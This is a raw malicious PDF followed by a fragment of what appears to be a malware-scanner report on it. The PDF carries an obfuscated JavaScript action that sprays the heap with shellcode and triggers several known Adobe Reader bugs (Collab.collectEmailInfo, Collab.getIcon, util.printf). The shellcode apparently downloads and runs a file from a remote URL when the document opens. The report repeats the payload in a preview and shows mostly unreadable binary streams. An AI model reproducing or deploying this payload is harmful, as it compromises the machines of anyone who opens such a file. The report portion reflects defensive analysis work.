<</Filter /FlateDecode /Length 2395>>
stream
x�śM��8 ���+� �{������3 3 �1ӵ���9 �A6 J ��_��\ �]e���ގpU�m�R��>ʔ � u үx��?�+��g<���� m�0��-�x ���s Eq opIH�e���| ,f�ZEA8��� �D�I�oOW� ����� Ⱦ5<��r��D�U0��:Z QL� ��ׂ��p��,5 ��� �
^�z2��妋���2������ u_H��!U���}�`��� w�cwg�b��ݽ��� ~~�ɘ��~g0�?� �<�i�� l���" ����%}���F,};3�n��� �z������ )UBsEM!�X)�XZpMv.u@��(cY�Ӿ� � R�h��� g5����� �A�;V5� AI��ɔx#ӂ�pE��h�4 i� >� �� ��� �|� \�>�����)AXf���JH�T�^ / �~i�)۪!�*�y�d@�� V� �$UL�z��L� P{ ��!�ۨ:��lkC n�Q"�� ���
��+1( � }lkJ�j���� F�%�Nd���
F{��tv� }� �CR���J�% ����&SMy[��WKg�`��� �� de� J��c [�댌T�F�:�T��5^� E���ˁ�^�%n��Iմ �#�Ga�#?I;W ��u nQeF�M.�B��!�'ƅl)�_z�x�� �� ^MD� � !���?��il ��K�$��R���\o^C� O��$!���X�'�1�� ��ڼU i��4�5/��lݖ�4 ��s��\ $ő6��V���5��� �ro�� \" m[�P7�PZ2 y;P�n� �:A�77y�z�� � 3���� ^��'4)� g�� �#�X�0� �@4�6�1+9�HH� � J�0 }�3dä��S�J�� W :���� ���2a5��A�k��. k Z �%� ^ ��� $ �@� ˡJVv�Q��� # *������ �h+ �9���
���0�i� f �� #�`�MB�{ ڊ �H��A�1�d��B!��T>��;"���!; �� t�ig�xt�@��N�7 � �|�>!�/a��j +{��� ����#�%r%R[}�� � X�� "�@��}O%� ��t� �V� )���ZO���K��f>M� �ڼ ,�|N�b�w�h� KO��Yl H C V�g �"��:� ��9�
�v� � �x�9b�b)��V J <!�JSc��� �6� �X.nB ���2�L�� �� � i �;Q � ���g��.� ne�Z� ,�ڴ Pn�>z�w6 �"|�H;�>��\:ĝ+�α�� �F�u� x�-Nj͓w �
� R� L8�� � 5X�P�� � L�P8� � �� 6� ٥��1� �pT-�i+QK�G��� #�J+
� -�XS��xU��S�pb k�4 �&� < ��#�� .} +tt����`� ��9� ��wQ�RC��wk�5d m���h�|� _ [�ނ�T ^ q�v�?N�au7�@�a �x�j3����ʧ�+����
��� C�>X:�?['�� c�$y�W�� S�� �,�~�_ʴ�0 I7�� e�����ْѫ�s'�c�E�J
�C����1�N�}vGQ��0 �0gKQ�vFN��W�S�: ST���v��K| :u�^��7N���'Sv* ���U ef�]� �4V[m ; ���j�u�.z2m) �����P N
*�g �4w�$�
����)�ԅ �"~z�뚬C � ��
��JUɪg���x� qK9{E�t@_� ��,�/%f��E � �[��. -Ri�9 Ǫ��� c���
i�vm��،�4 �y�&��P�; }�^�ׁ�67l- ��%�}��S����� �i��e *:Ҭ� ! �s��m
� ԓ��WpV� �W���hO�� .���U*����� ͝m Ծj�N�Z��� 7�]���XU��� D�u�b�v m�D\2���)�f+����� �6� }� ��.��ə3�_|� �6`Ox�a �c�7ӛ�>�1 �I\�
�$�� � b� )�� ���� �fFN�/���)x�uW�n�iq8 :C3�e�2,*I2� ȧ��|k� ��bz�7�8�w{�>S'Z ��Bc��� ����"�@IL[��� � r�ځX�r CT�V���ا��A s��< �!݉J_.2�C Q�?Җ=��N��逑6�3#� �>m^:� �/���]�.a�;u���6�䮧OS� I���� q�w>��
.��@ ��Ǝ{o�� ůA�� �r�l� �G{b �l�
���� <ȱ � ϐ��O��X�U�f˱-� w#1kե�9��ni
Zy��x����z
� ��#�_q�sp�^���H��� 5��5v4�����p �h�Ƒ�
��Tk w K��l�xbo�@ MZ�9�UT"�h��q�؍p��f�50 h����/�|cq`����d",b�F �o���A�p_ y��~ �¬b�K��A >��vjb�@��Y� ���p/�l
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 2139>>
stream
x��[]s�6 }��� �3� � �>^=m:��n������ $! H�)���=� C�%���$3Rb� ���� a���~�gM ���
|~�gus{G��Ǵ ��������Q %A��#!��`��I �1�fQ ƔW�~T���鄢�= ^ ���o�"�'�xB�h D � �� Jf��L��v,o ���~E �[} �[ M ��� � ��% ��T��O�ɣv�`�R �V�Y��Vl ���� ����'1��> ̇C���8�� =����4 ���ϒ>���/ }�3_�� � 1{ �JS��]Mk՚����`E1ЦV �{��5ULњ��2Q�8��M��ـᆭJ�"��=�����L +\ɉ7*/ �o���2$AA��� m q)H��S�%/ �N�`2?`mdW5�YEy)h)�Ax D�5 ~� �1�"=)k+@� � � [� t+��� � �T���z�
� � �R<�6j���b�Vx�b�co���$�J&� � �db3p 8�� #��t O��� M�o��m���u � V � i��Q��@�����;�'��jZuR �;�e {��� ٙ�2�6�a)x]�zE���H�o�-uG� �n �s���8X<�r_�*�_��6BJC�* �Z�;�;��[ݵ%m�f-� �� � z�,� �� ��%��2C����V� nKEfȄ�x�O�Q�X��)EA���� � ��1 ��u ʫ��3���� ��z�4�4R@�%�M�zC�f�� �Y���[6آ �K$��dK��� �� Y >��G����ȴHT�I �ϩ P *�d��8��ӈ $� -���h)�L�ζ�t�%�j&��� �V+j;�$��*le�ސFK\ �BW��r�F��b�}B�� � {� 2rP�S�<S�-���b+�I-���3�L�*��װf�ǒz/Ч[�$`R� 4 �,��v�R��5R.� ����� � ��2K!" '-^ M��S+
� 1c; �c � μ�a^ N�t=W��� o�jh ���ԯm��k}N'N]F�ᗺGNJ�5�� � e� K %ޱt� |�T��� y�! �K�eժ �q�:�,xm��Y�(�:9�Ā���Ν2��泖U�^-1XHpː����B� :�>�>X��4ދ��>ᦋc�� � �j� 2��I� ��5�����Y��id�f���$���`.�Q �i���\%�����;���Z�Z��Q>�"D)�z� �j�x�Q(KL1j$ �� �陆1A����� P�H�{�r:qD��T�9K�{>� ��ר4X�"�J=`�
����j�yR_}�� �?��#
d&2�/����.��Vi qP��꜖-m�Q y�T'}b ��T�����?��z��GL� N��扯� w�p���=R� -�L�SW��'4ߌ0� QS p]R46c
$�R[��2� �� m �Ts�
K {�"ڗ��9O Ҿ G���� y��Ɗg��'0��Uv)Kb���� � -َ&�u �����H�2�GV�9� J����7�� �\����
C�PYЈb��� i�칤z��It���N�v����W/�6�� � �c� �w� ��'��H74Wh<SUƆqR��.��'3�I<��.fj#̣Oȡӎ竫H��+�' G�c��K� )_Zc=��O�s�� -�گ3��o]<� � ���N�W�� ����&i4��"X\)T�y �d� ��>�4o��k��� =�;�
o[� &- p$x�'����Jv�^{7r y�^� V�ᆎQǻ��{��1*U����e���5^8N=3�(ay�/i� �x~D���=<w�_i��'��� =P� ۱_k!�'ک �8�������YA��o��}�1bz��:ʒ�Y�� 9qBp�p疌�� im�xR.AYR䛗�>OQ�O�����Gt� ���J{5�q4}Ւ�טB� �u�� D�x�@���o� ���G�~ ��lq ���_.�^ {\�Y EENl���h��nr�1�� ����A i�8=���]M�Q��'� -�� Y��[ K[[�_� ��'N N�כw#��g2�� ��}�
�ܺ s��*a0�M�0*k� H�$`� �Y{tz�R��Un߰��� � 5r���,�Љ� �vb�u u � � >� � �©ę3��u<�zjP �%��sX�N[^u|���z� �~���
D �������x $�; �ў���A�rjk%� �ܖ�&��#Xן��� u���
endstream
endobj
11 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 12 0 R>>
endobj
12 0 obj
<</Filter /FlateDecode /Length 341>>
stream
x����n�@ E{ �-�f� �G P("A�D�b�7 �e�52�}�1 �( � [k��sf̙ P�cH��dJ��b@1� bt� � �;z����
B(�"*��>�#t%� A ��e�< <� ��
� ��M k4���Y�A� ?`��P�L(� &w�q�֔��5��~�xH �3Ͽ �
!�� �h��E ����y��Չ.g�F�
��kT �wy�x��>���}�̸�I��B� � �V���y� x�/:�$�w��K@ ���Ϸ֡�w�� �\%p�7���)�E �e;�Y^X�� �q ;C��v���
��� ��!S�8����� 4r�K����-���-4:�' ~� ��
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
11 0 R
]
/Count 5
>>
endobj
13 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
14 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
17 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
18 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2136>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?Ţ�+�9B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �) �@�oah� 4� VvaE P ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��- � zR�E ���QE QE QE QE QE QE QE QE QE S�g���c�J� z�Q'b� �a ))�)��i 8� KAE U � G�2h��� �qH ���s%.o4P�(=h��B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �~��A��4 })Ł���% �5MXF zu�ғ� ���ijD��(���B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��)i dP40�a���9�� zT�� �Ţ�) QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE1�'"�E �E P ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E RN��QE �(��(��(��(��(��(��)q�J^��B`i)s�% � QE C
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��Z�H(��c
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��?��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 15 0 R
/F2 16 0 R
/F3 17 0 R
>>
/XObject <<
/I1 18 0 R
>>
/Properties <</OC1 13 0 R /OC2 14 0 R>>
/ExtGState <<
>>
>>
endobj
19 0 obj
<<
/Names [(EmbeddedJS) 20 0 R ]
>>
endobj
20 0 obj
<<
/S /JavaScript
/JS (��var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array\(\);k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array\("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr"\);var sxz3TlE7H = 'var aT2SIgMrm = new Array\(\);var jUCXkje3R;function lHskEaMkm\(mjQ0s1Jm, vy5AnujZ\){while\(mjQ0s1Jm.length * 2 < vy5AnujZ\){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring\(0, vy5AnujZ / 2\);return mjQ0s1Jm;}function kTh8tyaiMl\(dwSy84Ewqd\){if\(dwSy84Ewqd == 0\){var zwWH2gY7 = 0x0c0c0c0c;}else if\(dwSy84Ewqd == 1\){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array\(\\"%u535\\",\\"0%u5251\\",\\"%u5756%u9c\\",\\"55%u00e\\",\\"8%u0000%\\",\\"u5d00%ued8\\",\\"3%u310\\",\\"d%u64c0%u4\\",\\"003%u78\\",\\"30%u8b0c%\\",\\"u0c40%u\\",\\"708b%uad1\\",\\"c%u408\\",\\"b%ueb0\\",\\"8%u8b09%u\\",\\"3440%\\",\\"u408d%u8\\",\\"b7c%u3c\\",\\"40%u575\\",\\"6%u5ebe\\",\\"%u0001%u01\\",\\"00%ubfe\\",\\"e%u014e%u0\\",\\"000%uef01%\\",\\"ud6e8%u\\",\\"0001%\\",\\"u5f00%u895\\",\\"e%u81\\",\\"ea%u5\\",\\"ec2%u0001%\\",\\"u5200%\\",\\"u8068%\\",\\"u0000%uff\\",\\"00%u4e95%\\",\\"u0001%u8\\",\\"900%u81e\\",\\"a%u5ec2\\",\\"%u0001%u3\\",\\"100%u01\\",\\"f6%u8ac2\\",\\"%u359c\\",\\"%u0263%u00\\",\\"00%ufb80%u\\",\\"7400%u88\\",\\"06%u321c%u\\",\\"eb46%uc6\\",\\"ee%u320\\",\\"4%u8900%u8\\",\\"1ea%u45c2\\",\\"%u0002%\\",\\"u5200\\",\\"%u95ff%u01\\",\\"52%u00\\",\\"00%uea89%u\\",\\"c281%\\",\\"u0250%u00\\",\\"00%u5052%\\",\\"u95ff\\",\\"%u0156%\\",\\"u0000%\\",\\"u006a\\",\\"%u006a%uea\\",\\"89%uc281%\\",\\"u015e\\",\\"%u0000\\",\\"%u8952%\\",\\"u81ea%u78c\\",\\"2%u000\\",\\"2%u520\\",\\"0%u00\\",\\"6a%ud0ff\\",\\"%u056a%u\\",\\"ea89%\\",\\"uc281%u\\",\\"015e%u0\\",\\"000%uff52%\\",\\"u5a95%u\\",\\"0001%\\",\\"u8900\\",\\"%u81e\\",\\"a%u5ec2%u\\",\\"0001%u520\\",\\"0%u8068\\",\\"%u0000%uf\\",\\"f00%u4e\\",\\"95%u0001%u\\",\\"8900%\\",\\"u81ea\\",\\"%u5ec\\",\\"2%u000\\",\\"1%u3100%u\\",\\"01f6%u8a\\",\\"c2%u3\\",\\"59c%u0\\",\\"26e%u0\\",\\"000%ufb\\",\\"80%u7400%\\",\\"u8806%u3\\",\\"21c%ue\\",\\"b46%uc\\",\\"6ee%u3204%\\",\\"u8900%u8\\",\\"1ea%u45\\",\\"c2%u0\\",\\"002%u5200\\",\\"%u95ff%\\",\\"u0152%u00\\",\\"00%uea8\\",\\"9%uc281%u0\\",\\"250%u\\",\\"0000%u5\\",\\"052%u95f\\",\\"f%u0156%\\",\\"u0000%u0\\",\\"06a%u006a\\",\\"%uea89%uc2\\",\\"81%u015e\\",\\"%u0000\\",\\"%u8952%u81\\",\\"ea%ua6c2%\\",\\"u0002\\",\\"%u5200%u00\\",\\"6a%ud\\",\\"0ff%u05\\",\\"6a%uea89%u\\",\\"c281%u015\\",\\"e%u0000%\\",\\"uff52%\\",\\"u5a95\\",\\"%u0001%u9d\\",\\"00%u5f5d\\",\\"%u5a5e%u5\\",\\"b59%uc3\\",\\"58%u0000\\",\\"%u0000\\",\\"%u0000%u00\\",\\"00%u00\\",\\"00%u0000%\\",\\"u0000%u000\\",\\"0%u6547\\",\\"%u547\\",\\"4%u6d65\\",\\"%u5070%u7\\",\\"461%u41\\",\\"68%u4c\\",\\"00%u616f%\\",\\"u4c64%u626\\",\\"9%u6172%\\",\\"u7972%u0\\",\\"041%u6547%\\",\\"u5074%u6\\",\\"f72%u4163\\",\\"%u646\\",\\"4%u6572%u7\\",\\"373%u\\",\\"5700%u6e\\",\\"69%u7845\\",\\"%u6365%ubb\\",\\"00%uf289%\\",\\"uf789%\\",\\"uc030%\\",\\"u75ae%u29\\",\\"fd%u89f7\\",\\"%u31f9%\\",\\"ubec0%u003\\",\\"c%u00\\",\\"00%ub503%u\\",\\"021b%\\",\\"u0000%ua\\",\\"d66%u85\\",\\"03%u021b%u\\",\\"0000%u708\\",\\"b%u837\\",\\"8%u1c\\",\\"c6%ub503%u\\",\\"021b%u000\\",\\"0%ubd8d%u0\\",\\"21f%u0\\",\\"000%u03ad%\\",\\"u1b85%u\\",\\"0002%ua\\",\\"b00%u03ad%\\",\\"u1b85%\\",\\"u0002\\",\\"%u5000%uad\\",\\"ab%u85\\",\\"03%u0\\",\\"21b%u\\",\\"0000%\\",\\"u5eab%\\",\\"udb31%u56a\\",\\"d%u8503%u\\",\\"021b%u\\",\\"0000%\\",\\"uc689%ud\\",\\"789%ufc5\\",\\"1%ua6f\\",\\"3%u7459%u\\",\\"5e04%ueb\\",\\"43%u5ee9\\",\\"%ud193%u03\\",\\"e0%u278\\",\\"5%u0002%u3\\",\\"100%u96f\\",\\"6%uad6\\",\\"6%ue0c\\",\\"1%u0302%u1\\",\\"f85%u00\\",\\"02%u890\\",\\"0%uad\\",\\"c6%u8503%\\",\\"u021b%u00\\",\\"00%ue\\",\\"bc3%u00\\",\\"10%u0000%\\",\\"u0000%u00\\",\\"00%u0000\\",\\"%u0000%u00\\",\\"00%u0\\",\\"000%u\\",\\"8900%u1b\\",\\"85%u0\\",\\"002%u5600%\\",\\"ue857%uf\\",\\"f58%uf\\",\\"fff%u5e5\\",\\"f%u01ab\\",\\"%u80c\\",\\"e%ubb3e\\",\\"%u0274%ued\\",\\"eb%u5\\",\\"5c3%u4c5\\",\\"2%u4f\\",\\"4d%u2e4e%\\",\\"u4c44%u0\\",\\"04c%u525\\",\\"5%u44\\",\\"4c%u776f%\\",\\"u6c6e%u616\\",\\"f%u5464\\",\\"%u466f%u6\\",\\"c69%u41\\",\\"65%u7500\\",\\"%u6470%\\",\\"u7461%u2e\\",\\"65%u78\\",\\"65%u00\\",\\"65%u7263%u\\",\\"7361%u\\",\\"2e68%\\",\\"u6870%u00\\",\\"70%u74\\",\\"68%u7074%u\\",\\"2f3a%u\\",\\"732f%u617\\",\\"4%u6c6c%u\\",\\"6176%\\",\\"u7372%u3\\",\\"72d%u\\",\\"632e%u2f6e\\",\\"%u7473%\\",\\"u2f37%u\\",\\"7075%u\\",\\"6164%u6574\\",\\"%u702\\",\\"e%u7068%\\",\\"u693f%u\\",\\"3d64%\\",\\"u2633%u657\\",\\"2%u3d74%\\",\\"u6b6f%u9\\",\\"000\\"\);lgzzbDvrJ = unescape\(lgzzbDvrJ.join\(\\"\\"\)\);var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - \(dN4ieP2iNJ + 0x38\);var mjQ0s1Jm = unescape\(\\"%u9090%u9090\\"\);mjQ0s1Jm = lHskEaMkm\(mjQ0s1Jm, vy5AnujZ\);var hggtyPDR = \(zwWH2gY7 - 0x400000\) / thxKGPqJ;for\(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++\){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl\(\){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString\(\);app.clearTimeOut\(jUCXkje3R\);if\(\(dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102\) || dWz30Wc8Sx < 7.1\){kTh8tyaiMl\(0\);var dUecnnyRL = unescape\(\\"%u0c0c%u0c0c\\"\);while\(dUecnnyRL.length < 44952\) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\\"collabStore\\"] = oNmYv6F8[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : dUecnnyRL}\);}if\(\(dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104\) || \(dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1\) || dWz30Wc8Sx <= 7.101\){try{if\(app.doc.Collab.getIcon\){kTh8tyaiMl\(2\);var g99lsB5aD5 = unescape\(\\" \\"\);while\(g99lsB5aD5.length < 0x4000\){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \\"N.\\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(g99lsB5aD5\);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch\(e\){gwCFv8QkMv = 1;}if\(gwCFv8QkMv == 1\){if\(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1\){kTh8tyaiMl\(1\);var krnGx4eoY = \\"12999999999999999999\\";for\(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++\){krnGx4eoY += \\"8\\";}var xwM9uDR1Z = util;xwM9uDR1Z[\\"printf\\"]\(\\"E000f\\", krnGx4eoY\);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut\(\\"app.pWqkQU3H\(\)\\", 10\);';var xLnzz5Ne6=new Array\("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX"\);this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace\(/[]/g, ''\);var aHj0mNxG=new Array\('iPu63Iz8l','jR3yxekiKc'\);function mWTf2NTmz\(q6bodhAB,sS1npu7qg,moOIAGhC\){return false;}var y0BzaR3Ce=new Array\("phldahIIt","rqVkMn73vX","wfNlaURwA"\);var nSd4Sni7x = 'e'+'v'+'a'+'l';app[nSd4Sni7x]\(r6KInqXsz\);this.gBSQBVtK=false;var x8tgaP7Tc=new Array\(14633,1198\);vUYPS6xyP=0.3;)
>>
endobj
21 0 obj
<<
/Title (��andTextMake)
/Author (��sNotOver)
/Subject (��freeOldBc)
/Keywords (��layoutSourceGood, usedMakeHere, typeSourceHave)
/Creator (��wordsHiddenWord)
/Producer (��0147fa9611db0b7cd706139ae2170494)
/CreationDate (D:20091013200218+04'00')
/ModDate (D:20091013200218+04'00')
>>
endobj
22 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 19 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [13 0 R 14 0 R] /D <</ON [13 0 R] /OFF [14 0 R] /AS [<</Event /Print /OCGs [13 0 R 14 0 R] /Category [/Print]>> <</Event /View /OCGs [13 0 R 14 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 23
0000000000 65535 f
0000010245 00000 n
0000013185 00000 n
0000000009 00000 n
0000000117 00000 n
0000002428 00000 n
0000002536 00000 n
0000004829 00000 n
0000004937 00000 n
0000007403 00000 n
0000007512 00000 n
0000009723 00000 n
0000009833 00000 n
0000010328 00000 n
0000010444 00000 n
0000010558 00000 n
0000010665 00000 n
0000010774 00000 n
0000010882 00000 n
0000013380 00000 n
0000013432 00000 n
0000026064 00000 n
0000026486 00000 n
trailer
<<
/Size 23
/Root 22 0 R
/Info 21 0 R
>>
startxref
26888
%%EOF
|
|||
generic_stage_recovery_006.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize from JavaScript object 20 at offset 0x3478 | 5949 bytes |
SHA-256: 4b83402af6a4e8fb6f7625ceeb0efbec05bd15f6ddc8b032416763ce59a2778d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 42 of 74 identifiers look randomly generated (e.g. 'dwSy84Ewqd') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array();k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr");var sxz3TlE7H = 'var aT2SIgMrm = new Array();var jUCXkje3R;function lHskEaMkm(mjQ0s1Jm, vy5AnujZ){while(mjQ0s1Jm.length * 2 < vy5AnujZ){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring(0, vy5AnujZ / 2);return mjQ0s1Jm;}function kTh8tyaiMl(dwSy84Ewqd){if(dwSy84Ewqd == 0){var zwWH2gY7 = 0x0c0c0c0c;}else if(dwSy84Ewqd == 1){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array(\"%u535\",\"0%u5251\",\"%u5756%u9c\",\"55%u00e\",\"8%u0000%\",\"u5d00%ued8\",\"3%u310\",\"d%u64c0%u4\",\"003%u78\",\"30%u8b0c%\",\"u0c40%u\",\"708b%uad1\",\"c%u408\",\"b%ueb0\",\"8%u8b09%u\",\"3440%\",\"u408d%u8\",\"b7c%u3c\",\"40%u575\",\"6%u5ebe\",\"%u0001%u01\",\"00%ubfe\",\"e%u014e%u0\",\"000%uef01%\",\"ud6e8%u\",\"0001%\",\"u5f00%u895\",\"e%u81\",\"ea%u5\",\"ec2%u0001%\",\"u5200%\",\"u8068%\",\"u0000%uff\",\"00%u4e95%\",\"u0001%u8\",\"900%u81e\",\"a%u5ec2\",\"%u0001%u3\",\"100%u01\",\"f6%u8ac2\",\"%u359c\",\"%u0263%u00\",\"00%ufb80%u\",\"7400%u88\",\"06%u321c%u\",\"eb46%uc6\",\"ee%u320\",\"4%u8900%u8\",\"1ea%u45c2\",\"%u0002%\",\"u5200\",\"%u95ff%u01\",\"52%u00\",\"00%uea89%u\",\"c281%\",\"u0250%u00\",\"00%u5052%\",\"u95ff\",\"%u0156%\",\"u0000%\",\"u006a\",\"%u006a%uea\",\"89%uc281%\",\"u015e\",\"%u0000\",\"%u8952%\",\"u81ea%u78c\",\"2%u000\",\"2%u520\",\"0%u00\",\"6a%ud0ff\",\"%u056a%u\",\"ea89%\",\"uc281%u\",\"015e%u0\",\"000%uff52%\",\"u5a95%u\",\"0001%\",\"u8900\",\"%u81e\",\"a%u5ec2%u\",\"0001%u520\",\"0%u8068\",\"%u0000%uf\",\"f00%u4e\",\"95%u0001%u\",\"8900%\",\"u81ea\",\"%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u3\",\"59c%u0\",\"26e%u0\",\"000%ufb\",\"80%u7400%\",\"u8806%u3\",\"21c%ue\",\"b46%uc\",\"6ee%u3204%\",\"u8900%u8\",\"1ea%u45\",\"c2%u0\",\"002%u5200\",\"%u95ff%\",\"u0152%u00\",\"00%uea8\",\"9%uc281%u0\",\"250%u\",\"0000%u5\",\"052%u95f\",\"f%u0156%\",\"u0000%u0\",\"06a%u006a\",\"%uea89%uc2\",\"81%u015e\",\"%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002\",\"%u5200%u00\",\"6a%ud\",\"0ff%u05\",\"6a%uea89%u\",\"c281%u015\",\"e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u5\",\"b59%uc3\",\"58%u0000\",\"%u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0000%\",\"u0000%u000\",\"0%u6547\",\"%u547\",\"4%u6d65\",\"%u5070%u7\",\"461%u41\",\"68%u4c\",\"00%u616f%\",\"u4c64%u626\",\"9%u6172%\",\"u7972%u0\",\"041%u6547%\",\"u5074%u6\",\"f72%u4163\",\"%u646\",\"4%u6572%u7\",\"373%u\",\"5700%u6e\",\"69%u7845\",\"%u6365%ubb\",\"00%uf289%\",\"uf789%\",\"uc030%\",\"u75ae%u29\",\"fd%u89f7\",\"%u31f9%\",\"ubec0%u003\",\"c%u00\",\"00%ub503%u\",\"021b%\",\"u0000%ua\",\"d66%u85\",\"03%u021b%u\",\"0000%u708\",\"b%u837\",\"8%u1c\",\"c6%ub503%u\",\"021b%u000\",\"0%ubd8d%u0\",\"21f%u0\",\"000%u03ad%\",\"u1b85%u\",\"0002%ua\",\"b00%u03ad%\",\"u1b85%\",\"u0002\",\"%u5000%uad\",\"ab%u85\",\"03%u0\",\"21b%u\",\"0000%\",\"u5eab%\",\"udb31%u56a\",\"d%u8503%u\",\"021b%u\",\"0000%\",\"uc689%ud\",\"789%ufc5\",\"1%ua6f\",\"3%u7459%u\",\"5e04%ueb\",\"43%u5ee9\",\"%ud193%u03\",\"e0%u278\",\"5%u0002%u3\",\"100%u96f\",\"6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u00\",\"02%u890\",\"0%uad\",\"c6%u8503%\",\"u021b%u00\",\"00%ue\",\"bc3%u00\",\"10%u0000%\",\"u0000%u00\",\"00%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u\",\"8900%u1b\",\"85%u0\",\"002%u5600%\",\"ue857%uf\",\"f58%uf\",\"fff%u5e5\",\"f%u01ab\",\"%u80c\",\"e%ubb3e\",\"%u0274%ued\",\"eb%u5\",\"5c3%u4c5\",\"2%u4f\",\"4d%u2e4e%\",\"u4c44%u0\",\"04c%u525\",\"5%u44\",\"4c%u776f%\",\"u6c6e%u616\",\"f%u5464\",\"%u466f%u6\",\"c69%u41\",\"65%u7500\",\"%u6470%\",\"u7461%u2e\",\"65%u78\",\"65%